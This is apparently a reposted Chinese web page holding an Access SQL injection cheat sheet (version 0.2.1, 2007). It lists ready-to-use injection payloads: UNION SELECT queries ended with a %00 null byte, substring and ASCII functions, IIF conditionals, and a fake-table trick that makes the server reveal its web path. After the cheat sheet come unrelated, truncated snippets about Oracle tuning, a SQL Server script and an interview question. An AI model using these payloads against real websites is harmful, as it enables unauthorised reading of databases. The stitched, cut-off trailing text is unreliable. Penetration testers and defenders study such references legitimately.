整理比较全的Access SQL注入参考
Access SQL注入参考
版本 0.2.1
(最近更新 10/10/2007)
原作者不详
描述 SQL查询及注释
注释符 Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"(%00)代替:
' UNION SELECT 1,1,1 from validTableName%00
语法错误信息 "[Microsoft][Driver ODBC Microsoft Access]"
多句执行 不支持.
联合查询 Access支持联合查询,UNION后的from关键字必须使用一个已经存在的表名.
附属查询 Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) :
' AND (SELECT TOP 1 'someData' from validTableName)%00
LIMIT支持 LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:
' UNION SELECT TOP 3 AttrName from validTableName%00 : 这条语句返回(前)3 行.
让查询返回0行 在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:
' AND 1=0 UNION SELECT AttrName1,AttrName2 from validTableName%00
字符串连接 不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
' UNION SELECT 'web' %2b 'app' from validTableName%00 : 返回"webapp"
' UNION SELECT 'web' %26 'app' from validTableName%00 : 返回"webapp"
子字符串 MID()函数:
' UNION SELECT MID('abcd',1,1) from validTableName%00 : 返回 "a"
' UNION SELECT MID('abcd',2,1) from validTableName%00 : 返回 "b"
字符串长度 LEN()函数:
' UNION SELECT LEN('1234') from validTableName%00 : 返回 4
暴WEB路径 可以通过对一个不存在的库进行SELECT操作.Access将会回应一条包含有完整路径的错误信息.:
' UNION SELECT 1 from ThisIsAFakeName.FakeTable%00
取字符的ASCII值 ASC()函数:
' UNION SELECT ASC('A') from ValidTable%00 :返回65 ('A'的ASCII值)
ASCII值转换为字符 CHR()函数:
' UNION SELECT CHR(65) from validTableName%00 : 返回 'A'
IF语句 可以使用IIF()函数. 语法 : IIF(condition, true, false) :
' UNION SELECT IIF(1=1, 'a', 'b') from validTableName%00 : 返回 'a'
时间接口 不存在类似BENCHMARK()或SLEEP()的函数,但是可以使用大量(高负载)的查询来达到这个效果.点击这里查看参考.
相关文档:
(1) 选择最有效率的表名顺序(只在基于规则的优化器中有效):
ORACLE 的解析器按照从右到左的顺序处理from子句中的表名,from子句中写在最后的表(基础表 driving table)将被最先处理,在from子句中包含多个表的情况下,你必须选择记录条数最少的表作为基础表。如果有3个以上的表连接查询, 那就需要选择交叉表(intersectio ......
USE master
GO
CREATE DATABASE testbase2
ON
PRIMARY
(NAME = prim_sub_dat1,
FILENAME = 'G:\SQL SERVER2000\prim_sub_dat.mdf',
SIZE = 5MB,
MAXSIZE = 50MB,
FILEGROWTH = 20%),
(NAME = prim_sub_dat2,
FILENAME = 'G:\SQL SERVER2000\prim_sub_dat.ndf'
SIZE = 5MB,
MAXSIZE = 50MB,
......
1. SQL优化的原则是:将一次操作需要读取的BLOCK数减到最低,即在最短的时间达到最大的数据吞吐量。
调整不良SQL通常可以从以下几点切入:
检查不良的SQL,考虑其写法是否还有可优化内容
检查子查询 考虑SQL子查询是否可以用简单连接的方式进行重新书写
检查优化 ......
题目要求
阿里baba的面试题
有三个表
学生表 S
SID SNAME
教师课表 T
TID TNAME TCL
成绩表 SC &n ......